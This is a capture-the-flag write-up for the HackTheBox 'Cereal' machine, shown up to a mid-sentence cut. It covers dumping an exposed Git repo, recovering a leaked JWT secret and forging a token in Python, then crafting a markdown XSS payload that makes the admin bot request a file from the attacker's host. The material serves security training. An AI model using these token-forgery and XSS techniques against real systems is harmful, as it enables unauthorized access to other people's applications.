Cereal

Cereal was all about takign attacks I’ve done before, and breaking the ways I’ve previously done them so that I had to dig deeper and really understand them. I’ll find the source for a website on an exposed Git repo. The site is built in C#/.NET on the backend, and React JavaScript on the client side. I’ll first have to find the code that generates authentication tokens and use that to forge a token that gets me past the login. There I have access to a form that can submit cereal flavor requests. I’ll chain together a cross-site scripting vulnerability and a deserialization vulnerability to upload a webshell. That was made more tricky because the serverside code had logic in place to break payloads generated by YSoSerial. With execution, I’ll find the first user password and get SSH access. That user has SeImpersonate. But with no print spooler service on the box, and no outbound TCP port 135, neither RoguePotato, SweetPotato, or PrintSpoofer could abuse it to get a SYSTEM shell. I’ll enumerate a site running on localhost and its GraphQL backend to find a serverside request forgery vulnerability, which I’ll abuse with GenericPotato to get a shell as System.

Box Info

Name Cereal Cereal
Play on HackTheBox
Release Date 21 Nov 2020
Retire Date 29 May 2021
OS Windows Windows
Base Points Hard [40]
Rated Difficulty Rated difficulty for Cereal
Radar Graph Radar chart for Cereal
First Blood User 23:57:04Sp3eD
First Blood Root 1 days 13:12:23xct
Creator Micah

Recon

nmap

nmap found three open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.217
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-11 16:20 EST
Nmap scan report for 10.10.10.217
Host is up (0.034s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 14.42 seconds
oxdf@parrot$ nmap -p 22,80,443 -sCV -oA scans/nmap-tcpscripts 10.10.10.217
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-11 16:21 EST
Nmap scan report for 10.10.10.217
Host is up (0.021s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
|   256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_  256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2021-03-11T21:24:06+00:00; +2m38s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m37s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds

Based on the IIS version, the host is likely running Windows 10 or Server 2016+. nmap also identified two host names from the TLS certificate, cereal.htb and source.cereal.htb. It is interesting to note this Windows host is running OpenSSH.

VHosts

Given the presence of a subdomain, I immediately starts a wfuzz to look for other virtual host subdomains. This turned out to be a mistake, and is a good lesson for checking the site quickly before kicking off brute force runs. In this case, I got some weird behavior, and in trying to figure it out, I checked the site:

image-20210311163036686

I’ll want to be aware of this while path brute forcing with feroxbuster or gobuster as well.

cereal.htb - TCP 80/443

Site

The HTTP site just returns a 307 Temporary Redirect to the HTTPS url. The site seems to be the same visiting by IP or hostname. Visiting redirects to /login and presents a form:

image-20210311163350756

Just guessing didn’t get in, and didn’t reveal information about which was wrong, username or password:

image-20210311163427277

Stack

The headers don’t say much beyond IIS. What’s interesting is that the page is almost entirely JavaScript. Notably it doesn’t say ASP or ASP.NET, which is what I’m used to seeing on Windows IIS servers. There are imports to both CSS and JavaScript for files like main.36497136.chunk.css and main.be77be84.chunk.js. Googling for that CSS file returned a bunch of pages about React:

image-20210311164605003

React is a JavaScript library / framework for building web applications. Digging more into the JavaScript on the page in the Firefox dev tools, that confirms it is React:

image-20210311174325829

Interesting to note there’s an AdminPage directory as well.

Directory Brute Force

I’ll run with a lowercase wordlist here because it’s Windows. FeroxBuster shows that the site returns a 200 status code for even junk urls. Still, it is smart enough to show me other codes:

oxdf@parrot$ feroxbuster -k -u https://cereal.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://cereal.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
WLD        1l       45w     1948c Got 200 for https://cereal.htb/3e90fc65e5fb45a2b62e20d5e64ca8a5 (url length: 32)
WLD         -         -         - Wildcard response is static; auto-filtering 1948 responses; toggle this behavior by using --dont-filter
WLD        1l       45w     1948c Got 200 for https://cereal.htb/6eea057cb6114c48accade9a5421e886557b676d27f84e28938530b8d3075e2e815d20cdf0e54443bf44b0427e5d8e08 (url length: 96)
401        0l        0w        0c https://cereal.htb/requests
[####################] - 12s    17769/17769   0s      found:3       errors:0      
[####################] - 12s    17771/17769   1497/s  https://cereal.htb

It manages to find one interesting url, /requests, which returns a 401. There could be other 200s in there, but they are hidden by the wildcard behavior.

Running curl with -i to view the response headers shows the response:

oxdf@parrot$ curl -i -k https://cereal.htb/requests
HTTP/2 401 
server: Microsoft-IIS/10.0
strict-transport-security: max-age=2592000
www-authenticate: Bearer
x-rate-limit-limit: 5m
x-rate-limit-remaining: 145
x-rate-limit-reset: 2021-04-25T21:53:29.0936671Z
x-powered-by: Sugar
date: Sun, 25 Apr 2021 21:53:18 GMT

It’s requesting a Bearer header to authenticate. This will be important.

source.cereal.htb - TCP 80/443

Site

Trying to visit source.cereal.htb returns an error:

image-20210311165014305

There’s not a ton I can do with this right now, but it’s worth nothing:

  • This is ASP.NET, version 4.7.3690.0.
  • The file is at c:\inetpub\source\default.aspx.
  • The issue is with a duplicate > on line 3.

Directory Brute Force

FeroxBuster doesn’t have the same issues on this subdomain:

oxdf@parrot$ feroxbuster -k -u https://source.cereal.htb -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://source.cereal.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        2l       10w      163c https://source.cereal.htb/aspnet_client
301        2l       10w      157c https://source.cereal.htb/uploads
301        2l       10w      174c https://source.cereal.htb/aspnet_client/system_web
[####################] - 1m     71076/71076   0s      found:3       errors:100    
[####################] - 19s    17769/17769   914/s   https://source.cereal.htb
[####################] - 46s    17769/17769   383/s   https://source.cereal.htb/aspnet_client
[####################] - 54s    17769/17769   325/s   https://source.cereal.htb/uploads
[####################] - 51s    17769/17769   347/s   https://source.cereal.htb/aspnet_client/system_web

I’ll need the uploads directory later. And given the error message in the page above, I can guess that the location of this directory on disk is C:\inetpub\source\uploads.

nmap

Re-scanning the new subdomain with nmap identifies a Git repo:

oxdf@parrot$ nmap -p 80,443 -sVC -oA scans/nmap-source source.cereal.htb
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-11 16:48 EST
Nmap scan report for source.cereal.htb (10.10.10.217)
Host is up (0.019s latency).
rDNS record for 10.10.10.217: cereal.htb

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
| http-git: 
|   10.10.10.217:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Some changes 
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Compilation Error
443/tcp open  ssl/http Microsoft IIS httpd 10.0
| http-git: 
|   10.10.10.217:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Some changes 
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Compilation Error
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after:  2040-11-11T20:07:19
|_ssl-date: 2021-03-11T21:50:55+00:00; +2m39s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m38s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

Git

Pull Data

Unfortunately, directory listing is disabled, returning a 403:

image-20210311165536537

I can start to manually pull together information, like the information about the HEAD:

image-20210311165614468Click for full size image

But it’s much easier to use gitdumper from GitTools. I’ve used this before on Travel and Dyplesher. After cloning the repo, I’ll give it the url and an output directory:

oxdf@parrot$ ./gitdumper.sh http://source.cereal.htb/.git/ source/
###########                                                           
# GitDumper is part of https://github.com/internetwache/GitTools 
#                                                                     
# Developed and maintained by @gehaxelt from @internetwache      
#                                                                     
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!                                      
###########                                                           
                                                                      
                                                                      
[*] Destination folder does not exist                            
[+] Creating source//.git/                                            
[+] Downloaded: HEAD                                                  
[-] Downloaded: objects/info/packs                                    
[+] Downloaded: description                                           
[+] Downloaded: config                                                
[+] Downloaded: COMMIT_EDITMSG                                        
[+] Downloaded: index                                                 
[-] Downloaded: packed-refs                                           
[+] Downloaded: refs/heads/master                                     
[-] Downloaded: refs/remotes/origin/HEAD                         
[-] Downloaded: refs/stash                                            
[+] Downloaded: logs/HEAD                                             
[+] Downloaded: logs/refs/heads/master                           
[-] Downloaded: logs/refs/remotes/origin/HEAD                    
[-] Downloaded: info/refs                                             
[+] Downloaded: info/exclude                                          
[-] Downloaded: /refs/wip/index/refs/heads/master                
[-] Downloaded: /refs/wip/wtree/refs/heads/master                
[+] Downloaded: objects/34/b68232714f841a274050591ff5595dcf7f85da
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5
[+] Downloaded: objects/7b/d9533a2e01ec11dfa928bd491fe516477ed291
[+] Downloaded: objects/3a/23ffe921530036a4e0c355e6c8d1d4029cb728
...[snip]...
[+] Downloaded: objects/7a/fce55a9dd5080e0983cdfc81547e28f4c27ecd
[+] Downloaded: objects/f3/4f63c8ba8e752d035a279456524ad2ffbc038f
[+] Downloaded: objects/0f/901662f5a6015dd0e9dbc7985aa32f62a5ed61

The directory only shows a .git folder now:

oxdf@parrot$ ls -la
total 12
drwxrwx--- 1 root vboxsf 4096 Mar 11 17:00 .
drwxrwx--- 1 root vboxsf 4096 Mar 11 17:00 ..
drwxrwx--- 1 root vboxsf 4096 Mar 11 17:00 .git

If I run git status, it will show a ton of files as deleted. That’s because Git is tracking all these files, but they aren’t on my file system, which implies they’ve been deleted since the last commit. git reset --hard will go back to where it was at the last commit, restoring all the files:

oxdf@parrot$ git reset --hard
HEAD is now at 34b6823 Some changes
oxdf@parrot$ ls
ApplicationOptions.cs         CerealContext.cs  Controllers          IPAddressHandler.cs  Models      Properties
appsettings.Development.json  Cereal.csproj     DownloadHelper.cs    IPRequirement.cs     Pages       Services
appsettings.json              ClientApp         ExtensionMethods.cs  Migrations           Program.cs  Startup.cs

Initial Source Analysis

There’s a lot of code here, and it takes a while to go through and get a feel for, especially if you aren’t familiar with C#. Somethings I noticed on an initial scan:

  • In Controllers/RequestsController.cs there’s a hint about a deserialization attack:

    string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
    // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
    if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
    {
        return BadRequest(new { message = "The cereal police have been dispatched." });
    }
    
  • CerealContext.cs defines the DB, SQLite:

    namespace Cereal
    {
        public class CerealContext : DbContext
        {
            public DbSet<User> Users { get; set; }
            public DbSet<Request> Requests { get; set; }
            protected override void OnConfiguring(DbContextOptionsBuilder options)
            {
                options.UseSqlite("Data Source=db/cereal.db");
                options.EnableSensitiveDataLogging(true);
            }
        }
    }
    
  • Looks like blocking rules in appsettings.json:

        "GeneralRules": [
          {
            "Endpoint": "post:/requests",
            "Period": "5m",
            "Limit": 2
          },
          {
            "Endpoint": "*",
            "Period": "5m",
            "Limit": 150
          }
    
  • Using JWT in Services/UserService.cs:

                    // authentication successful so generate jwt token
                    var tokenHandler = new JwtSecurityTokenHandler();
                    var key = Encoding.ASCII.GetBytes("****");
                    var tokenDescriptor = new SecurityTokenDescriptor
                    {
                        Subject = new ClaimsIdentity(new Claim[]
                        {
                            new Claim(ClaimTypes.Name, user.UserId.ToString())
                        }),
                        Expires = DateTime.UtcNow.AddDays(7),
                        SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
                    };
                    var token = tokenHandler.CreateToken(tokenDescriptor);
                    user.Token = tokenHandler.WriteToken(token);
      
                    return user.WithoutPassword();
    

    Unfortunately, the key has been replaced with *s.

Bypass Login

JWT Storage

The first step towards getting a shell is bypassing the login form. I noted above that the site is generating JWT tokens on successful login. It does not seem like a token gets set on an unsuccessful login attempt:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Strict-Transport-Security: max-age=2592000
X-Rate-Limit-Limit: 5m
X-Rate-Limit-Remaining: 149
X-Rate-Limit-Reset: 2021-03-11T22:45:49.1223995Z
X-Powered-By: Sugar
Date: Thu, 11 Mar 2021 22:40:49 GMT
Connection: close
Content-Length: 47

{"message":"Username or password is incorrect"}

Some servers might set the JWT there, but with an value showing that the user isn’t authenticated, or username = None or something like that. But it’s not the case here.

Looking a bit more into the JS source in the Firefox developer tools, in /js/_services/authentication.service.js there’s the function that manages authentication:

function login(username, password) {
    const requestOptions = {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    };

    return fetch('/users/authenticate', requestOptions)
        .then(handleResponse)
        .then(user => {
            // store user details and jwt token in local storage to keep user logged in between page refreshes
            localStorage.setItem('currentUser', JSON.stringify(user));
            currentUserSubject.next(user);

            return user;
        });
}

It takes a username and password, send that as a POST to /users/authenticate, and then in the response gets the user object from the response and saves it in the browser’s local storage as currentUser. That’s different than the typical use of cookies, as this is not automatically sent on future requests, but relies on JavaScript to pull it and send it when needed.

There’s another object in that same file that retrieves the token and returns it as currentUserSubject:

const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser')));

Then there’s a function in js/_helpers/auth-header.js that uses that to set the Authorization header in the HTTP requests to include this token:

export function authHeader() {
    // return authorization header with jwt token
    const currentUser = authenticationService.currentUserValue;
    if (currentUser && currentUser.token) {
        return { Authorization: `Bearer ${currentUser.token}`, 'Content-Type': 'application/json' };
    } else {
        return {};
    }
}

It is getting the currentUser object, and then getting it’s token property. That will be useful to know when I need to set the local storage later.

In js/_services/request.service.js it uses the authHeader function to set headers on requests:

import { authHeader, handleResponse } from '../_helpers';

export const requestService = {
    requestCereal,
    getCerealRequests
};

function requestCereal(json) {
    const requestOptions = {
        method: 'POST',
        headers: authHeader(),
        body: JSON.stringify({ json })
    };
    return fetch('/requests', requestOptions).then(handleResponse);
}

function getCerealRequests() {
    const requestOptions = {
        method: 'GET',
        headers: authHeader()
    };
    return fetch('/requests', requestOptions).then(handleResponse);
}

In summary, the JWT is created on successful login and saved in Local Storage with a key of currentUser, and the object returned needs to have a token parameter.

Find Key

In a CTF like this when I see place where a key should be in code in a git repo, it always makes sense to look at the prior commits.

oxdf@parrot$ git log
commit 34b68232714f841a274050591ff5595dcf7f85da (HEAD -> master)
Author: Sonny <sonny@cere.al>
Date:   Tue Jan 7 17:19:04 2020 -0600

    Some changes

commit 3a23ffe921530036a4e0c355e6c8d1d4029cb728
Author: Sonny <sonny@cere.al>
Date:   Thu Nov 14 21:45:55 2019 -0600

    Image updates

commit 7bd9533a2e01ec11dfa928bd491fe516477ed291
Author: Sonny <sonny@cere.al>
Date:   Thu Nov 14 21:40:06 2019 -0600

    Security fixes

commit 8f2a1a88f15b9109e1f63e4e4551727bfb38eee5
Author: Count Chocula <chocula@cere.al>
Date:   Thu Nov 14 21:37:50 2019 -0600

    CEREAL!!

Running git show 7bd9 will show the changes in the commit titled “Security fixes”. Sure enough, the key is removed:

image-20210311202229336

The key is secretlhfIH&FY*#oysuflkhskjfhefesf.

JWT Structure

Static Analysis

On the server, the JWT is created in the Authenticate function in Services/UserServer.cs:

public User Authenticate(string username, string password)
{                                                          
    using (var db = new CerealContext())
    {                                   
        var user = db.Users.Where(x => x.Username == username && x.Password == password).SingleOrDefault();

        // return null if user not found
        if (user == null)               
            return null; 

        // authentication successful so generate jwt token
        var tokenHandler = new JwtSecurityTokenHandler(); 
        var key = Encoding.ASCII.GetBytes("****");       
        var tokenDescriptor = new SecurityTokenDescriptor
        {                                                
            Subject = new ClaimsIdentity(new Claim[]
                                         {                                       
                                             new Claim(ClaimTypes.Name, user.UserId.ToString())
                                         }),                                                   
            Expires = DateTime.UtcNow.AddDays(7),
            SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
        };                                                                                                                    
        var token = tokenHandler.CreateToken(tokenDescriptor);
        user.Token = tokenHandler.WriteToken(token);          

        return user.WithoutPassword();
    }                                 
}

It looks up the user by username and password, and returns null if none are found. Otherwise, it generates a JWT using the UserId as the Name, the expiration in seven days, and the HmacSha256 algorithm with the key that’s all stars above but that hopefully I leaked from the previous commits.

Mock Code

The next step would be reading docs and blog posts to figure out exactly what the JWT will look like. There’s Microsoft docs like this that show different claims. And a post like this shows that the expiration needs to be the exp parameter (and it will throw an error if that’s not in the token). Or, I could just use similar code to generate a JWT and see what it looks like. I’ll take the code above, and paste it into a new C# project I named CerealJWT in Visual Studio:

image-20210526205734268Click for full size image

There’s a lot of red underlines. Clicking on one of them brings up a lightbulb on the left. I can click on it, and select the option to install the missing package.

image-20210526210003118

It will install the package, and add a using line to the top to import it. Other times, the package is already installed, and just needs to be imported:

image-20210526210054380

Clicking on “using System.Security.Claims” will add that line. A combination of those two will leave me with only two errors left:

image-20210526210209051Click for full size image

I’m not going to import the entire Cereal User class. The first reference to it is just looking for a user ID as a string. I’ll just set it to a number, say “223”.

The last reference is storing the token. I don’t want to store it, I want to print it. So I’ll replace that entire line with Console.WriteLine(tokenHandler.WriteToken(token));.

Now I’ll Debug –> Start Without Debugging (or Ctrl+F5):

image-20210526210532588Click for full size image

There’s a JWT! Throwing it into jwt.io gives the payload:

{
  "unique_name": "223",
  "nbf": 1622077520,
  "exp": 1622682320,
  "iat": 1622077520
}

Playing around a bit more (and reading a bit), it turns out that either name or unique name will work here. Also, nbf (“not before”) and iat (“issued at)”) are not needed, so I can get by with just name and exp (“expires”).

Create JWT

Putting all of that together, I’ll create a JWT using Python:

#!/usr/bin/env python3          
          
import jwt
from datetime import datetime, timedelta


print(jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256"))

I’ll generate a token:

oxdf@parrot$ python genJWT.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxOTg2NDE0MX0.Tkq0nNGzOzvCoJgPAti9skOHvIVZHu47VF1dQsKez28

In the Firefox dev tools, I’ll go to Storage, Local Storage, and add a key/value for this site:

image-20210424061647159

I put in JSON so that when it looks for currentUser.token, it gets the JWT.

On refreshing the page, I’m no longer at a login form:

image-20210424061849164

Site

The site is quite simple - pick from the various options, and click request. The page sends a request in the background using AJAX, and then the response is displayed:

image-20210424142315300

The POST request sent looks like:

POST /requests HTTP/1.1
Host: 10.10.10.217
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.10.10.217/
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxOTg5MTk5MX0._wJarFz0T9VsNztomCUJKNhtuuXGZRBW_ajZDzK38Kw
Content-Type: application/json
Origin: https://10.10.10.217
Content-Length: 114
DNT: 1
Connection: close

{"json":"{\"title\":\"Test-Title\",\"flavor\":\"bacon\",\"color\":\"#FFF\",\"description\":\"Test Description\"}"}

The parameters are sent as JSON, with a single key, json, and the value being a string which is JSON. This is odd.

The response looks like:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Strict-Transport-Security: max-age=2592000
X-Rate-Limit-Limit: 5m
X-Rate-Limit-Remaining: 5
X-Rate-Limit-Reset: 2021-04-24T18:30:31.6370847Z
X-Powered-By: Sugar
Date: Sat, 24 Apr 2021 18:25:31 GMT
Connection: close
Content-Length: 43

{"message":"Great cereal request!","id":30}

It’s the message that’s displayed on the page, but also the id of the request.

Source Analysis

Deserialization Vulnerability

Controller Analysis

source/Controllers/RequestsController.cs contains handlers for requests sent to /requests like above. I think the [Route("[controller]")] decoration on the RequestController class does that mapping ("[controller]" must translate to requests somehow). There’s functions to handle different methods to this endpoint. POSTs are handled by the Create function:

[HttpPost]
public IActionResult Create([FromBody]Request request)
{
    using (var db = new CerealContext())
    {
        try
        {
            db.Add(request);
            db.SaveChanges();
        } catch {
            return BadRequest(new { message = "Invalid request" });
        }
    }

    return Ok(new { message = "Great cereal request!", id = request.RequestId});
}

This maps with what I experienced above. It is interesting to note that any request body is just stored into the DB without any validation. The fields don’t have to match any schema.

The next one is for [HttpGet("{id}")], which will handle GETs to urls like /requests/24. It pulls the data from the database based on that id, and calls JsonConvert.DeserializeObject on it.

[Authorize(Policy = "RestrictIP")]
[HttpGet("{id}")]
public IActionResult Get(int id)
{
    using (var db = new CerealContext())
    {
        string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
        // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
        if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
        {
            return BadRequest(new { message = "The cereal police have been dispatched." });
        }
        var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
        {
            TypeNameHandling = TypeNameHandling.Auto
        });
        return Ok(cereal.ToString());
    }
}

That means if I can get an object into the database (which I can), I can try a deserialization exploit here. Only two big problems:

  1. [Authorize(Policy = "RestrictIP")] suggests there’s some kind of restriction on this endpoint, as I noted in my initial scan.
  2. It does a check for three different strings, specifically to try to block serialized objects from ysoserial, which is how I typically weaponize a deserialization attacks against .NET. I will have to use objects from within the application if I want to go this path.

There’s another endpoint for a HTTP GET without the ID that returns all the cereal objects from the database:

[Authorize(Policy = "RestrictIP")]
[HttpGet]           
public IActionResult GetAll()
{      
    using (var db = new CerealContext())
    {              
        try                                 
        {
            return Ok(db.Requests.ToArray().Reverse());
        }                                             
        catch
        {                               
            return BadRequest(new { message = "Invalid request" });
        }  
    }    
}  

This one doesn’t bother bother deserializing the object, but rather just the JSON string. The JavaScript on the client end can handle that string (I’ll find that code in a bit).

There are also definitions for HTTP DELETE requests, both to delete a single request and to delete all requests, both of which have the same RestrictIP decorator.

Restrict IP

If I find a POST request submitting a cereal in Burp Proxy and send it to repeater, I can right click and change the request type, and it will now be a valid GET to /requests. I tried both /requests and /requests/10 (after creating id 10 in a POST), but both return 403 forbidden.

appsettings.json defines ApplicationOptions.Whitelist:

"ApplicationOptions": {
    "Whitelist": [ "127.0.0.1", "::1" ]
},

This is referenced in IPRequirements.cs in the IPRequirement class. In IPAddressHandler.cs, there’s a function to check if an IP is in the whitelist:

protected override Task HandleRequirementAsync(AuthorizationHandlerContext context, IPRequirement requirement)
{
    var httpContext = httpContextAccessor.HttpContext;
    var ipAddress = httpContext.Connection.RemoteIpAddress;

    Console.WriteLine("IP: "+ipAddress);
    List<string> whiteListIPList = requirement.Whitelist;
    var isInwhiteListIPList = whiteListIPList
        .Where(a => IPAddress.Parse(a)
               .Equals(ipAddress))
        .Any();
    if (isInwhiteListIPList)
    {
        Console.WriteLine("SUCCESS");
        context.Succeed(requirement);
    }
    return Task.CompletedTask;
}

All of this is to say, to access any of the functions decorated with RestrictIP, the request will need to come from localhost.

AdminPage

Looking at the source on the client side in the Firefox dev tools (Debugger tab), I noted the folder called AdminPage with AdminPage.jsx:

image-20210425143524732

The page calls requestService.getCerealRequests() and stores the result in the page state:

requestService.getCerealRequests().then(requests => this.setState({ requests }));

Looking in _services/request.service.js, that’s just a GET to /request (which is the request to get all requests in the DB):

function getCerealRequests() {
    const requestOptions = {
        method: 'GET',
        headers: authHeader()
    };
    return fetch('/requests', requestOptions).then(handleResponse);
}

The page the loads that state and deserializes it:

requestData = JSON.parse(this.props.request.json)

Then it loops over the objects displaying them on the page.

I couldn’t find a way to load the admin page completely because of the IP restrictions. Visiting /admin shows an admin page for a fraction of a second, but then redirects back to the login page and clears the token from local storage. I’ll run with Burp intercepting both requests and responses. It drops into HTTP/2, so one request leads to a lot of responses. If I catch the 403 Forbidden coming back from the GET to /requests (the “GET ALL” request from above, 403 because of the IP restriction) the page hangs at a dashboard that’s about to display the various requests:

image-20210526213326981

Just for fun, I’ll verify my assumptions by coming back to this later to play with it (see Beyond Root).

XSS

npm audit

The client-side Javascript is defined in the ClientApp folder, where there are package.json and package-lock.json files:

oxdf@parrot$ ls
package.json  package-lock.json  public  README.md  src

Running npm audit in this directory will report vulnerabilities in these packages. There’s a bunch of stuff found, but given what I’ve got already, one jumps out at me:

react-marked-markdown  *
Severity: high
Cross-Site Scripting - https://npmjs.com/advisories/668
No fix available
node_modules/react-marked-markdown 

If I need a request to come from Cereal, XSS would be a pretty good way to do it.

AdminPage

Looking back at the Admin page, for each db entry, it’s passed into this RequestCard object:

<div className="card card-body bg-light">
    <h3>Current cereal requests:</h3>
    {requests &&
        <Accordion>
        {requests.map(request =>
            <>
                <RequestCard request={request}/>
                <br />
            </>
        )}
        </Accordion>
    }
</div>

The RequestCard is defined in the same file:

<Card>
    <Card.Header>
        <Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}>
            {requestData && requestData.title && typeof requestData.title == 'string' && 
            <MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />
            }
        </Accordion.Toggle>
    </Card.Header>
    <Accordion.Collapse eventKey={this.props.request.requestId}>
        <div>
            {requestData &&
            <Card.Body>
                Description:{requestData.description}
                <br />
                Color:{requestData.color}
                <br />
                Flavor:{requestData.flavor}
            </Card.Body>
            }
        </div>
    </Accordion.Collapse>
</Card>

This part caught my eye:

<MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} />

This code is looping over the cereal requests from the GET all request, and passing the title into the vulnerable function.

POC

The POC on the vulnerability advisory looked like:

<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>

That suggests that if I can set a cereal title to [XSS](javascript: [code]) and then someone looks at the admin page, I should get XSS.

It took some playing around with the payload, but I got this to work:

[XSS](javascript: document.write%28%27<img src=%22http://10.10.14.15/0xdf.png%22 />%27%29)

Characters like '"() all throw off the Markdown tag, so I’ll encode them. On sending that as the title, a few minutes later there was a hit on my Python webserver:

10.10.10.217 - - [25/Apr/2021 17:05:12] code 404, message File not found
10.10.10.217 - - [25/Apr/2021 17:05:12] "GET /0xdf.png HTTP/1.1" 404 -

That proves not only that there is a user (or really some kind of automation) checking the admin page, but that the exploit works.

I’ll next try to convert that to a script tag, and prove to myself it works by trying to get it to request something from my VM. For this testing, it was easier to work out of a Python script to save what I was trying.

I couldn’t get <script src='[url of my host]'></script> to work. I also couldn’t get an XMLHttpRequest to my host to work. I think that’s a Same Origin policy issue. I was able to redirect the page to my webserver by setting window.location:

